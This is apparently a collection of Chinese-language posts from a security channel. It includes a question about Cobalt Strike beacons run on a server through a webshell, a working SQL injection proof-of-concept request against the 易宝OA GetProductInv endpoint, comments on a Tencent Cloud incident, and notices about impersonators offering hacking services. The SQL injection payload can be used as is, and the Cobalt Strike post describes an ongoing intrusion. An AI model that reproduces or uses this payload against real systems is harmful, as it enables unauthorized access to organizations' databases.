有无内网大手子给我解答一下

首先是cs这个判断上线机器的机制是统计session，导致了第一个比较幽默的情况是，同样一台服务器我用webshell运行cs的后门运行了两次，cs就以为我上线了两台机器

这个都是可以理解的，然后很诡异的是我昨天把c2关了，今天再打开这两台（其实是一台）机器就黑了显示没开机，但是其实是开机的，我再用webshell运行后门exe又上线了，现在就是看到视图里边三台上线机器其实就是一台，并且处于一个薛定谔的开机状态，昨天的beacon告诉我没开机今天的beacon告诉我开机了，这咋回事

易宝OA GetProductInv SQL注入漏洞复现

GET /SmartTradeScan/Inventory/GetProductInv?boxNoName=1%27%20AND%201411%20IN%20(SELECT%20(CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(112)%2bCHAR(113)%2b(SELECT%20(CASE%20WHEN%20(1411=1411)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))%2bCHAR(113)%2bCHAR(120)%2bCHAR(122)%2bCHAR(122)%2bCHAR(113)))--%20YyAm&positionName=2&productID=3&opeID=4 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.712.36 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

https://mp.weixin.qq.com/s/PgduTGIvWSUgHZhVfnb7Bg

有点过了

事实上任何一个规模大到一定程度参与人数众多的技术项目，时间长了都或多或少会整出些唐氏操作，注意用词我这里说的是唐氏，就是相当脑残的错误了，不是小过失

阿里腾讯这些大厂的人不会像我们想象中那样无所不能永远正确，说是草台班子还是过了，这件事情最ex人的其实是后期腾讯云的公关，经典推卸责任大事化小忽悠用户。但是不要因为这么一件两件事情就扯什么不要用腾讯云了，不知名小机房的问题只会比大厂更多

最后加一句，冯若航作为搞数据库从他的角度一直在反对业务上云，开发圈争论这个事情很久了，我不了解。但是从安全的角度来看重要敏感业务云服务器是非常必要的，最好把邮服都上云了。一个外网口子只要是在域环境内不是云机房远程托管被各方惦记的概率直线上升——你那玩意背后连着内网的，起0day都要把你拿下了

最近暂停一下更新poc

不是被查水表或者其他什么很黑客的不可抗力原因，（像你海子哥圈完钱封群跑路要找理由说什么被韩国国安局调查了）单纯就是我现在每天上班起得早，不想复制粘贴了，懒

频道再过一个月就运营一年了，我感觉从漏洞到工具到学习资料到吃瓜到原创文章到各种权限，反正我能想到的东西都发了一遍，我是真没活可以整了。国护一完就去新单位二面，到时候就退tg了，频道我也不会像现在一样高强度天天更新，最后一点时间，还有什么想看的安全方面的东西或者问题都可以给我说，尽量做到都回复

还有频道名称也不准备再频繁换了，有什么好的头像和名字，适合长期用的，征求大家的意见

https://mp.weixin.qq.com/s/SZ73s2XJdRJkSWWbyO6O4A

我也是女的为什么不来骚扰我，是因为现实里长得也跟个鼹鼠一样矮小哥布林，线下真实怕被你年跌的无敌王八拳暴打吗🤣

今天早上开始有很多冒充我的了，顶着我的id简介和头像去什么渗透接单一类的，注意我的id是 @metaspolit233，看清楚字母，或者保险直接从管理列表点进去

私聊过的都知道，我不是黑产哥从来不接什么单子的，回复从来都是不知道不认识不能然后已读不回，更不可能唐突发病了突然主动私聊你我要接单了速度给我打钱😅，再次统一回答，不接单，不认识能接的人，不搞教学，不卖漏洞，不卖证书，不回答问题请百度或者在群里问。记住就算是我这个号，本人，哪天突然给你说我要接单了——也别打钱，号被盗了，忘周知

居然邀请了你伦哥，节目效果拉满

【刚刚，图灵奖揭晓！史上首位数学和计算机最高奖“双料王”出现了 - CSDN App】http://t.csdnimg.cn/M0aK5

【一年杀死4亿次玩家，看似无懈可击的女武神困境，普通人崛起！你上你也行！！！-哔哩哔哩】 https://b23.tv/lARmBnR